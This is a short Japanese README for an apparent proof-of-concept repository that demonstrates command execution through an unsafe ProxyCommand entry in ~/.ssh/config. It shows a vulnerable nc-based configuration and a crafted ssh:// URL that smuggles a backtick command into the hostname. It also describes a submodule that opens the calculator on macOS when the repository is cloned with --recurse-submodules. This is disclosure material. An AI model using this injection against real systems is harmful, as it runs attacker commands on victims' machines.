安全でない ~/.ssh/config を介した RCE

%h や %p のようなトークンの使用は、SSH.ProxyCommand を使用したトンネルと接続プロキシで非常に人気があります。

脆弱な設定 host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注: 最初の評価では、一重引用符の '%h` を使えば回避できると思っていましたが、次のようなものでは依然として脆弱であるようです:

ssh://echo helloworld > cve.txt`foo.example.com/bar 出典: https://man.openbsd.org/ssh_config#ProxyCommand

このリポジトリの内容 この脆弱性を悪用して OSX で電卓を起動するサブモジュールです。

試してみるには、次を使用します:

git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

または

git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules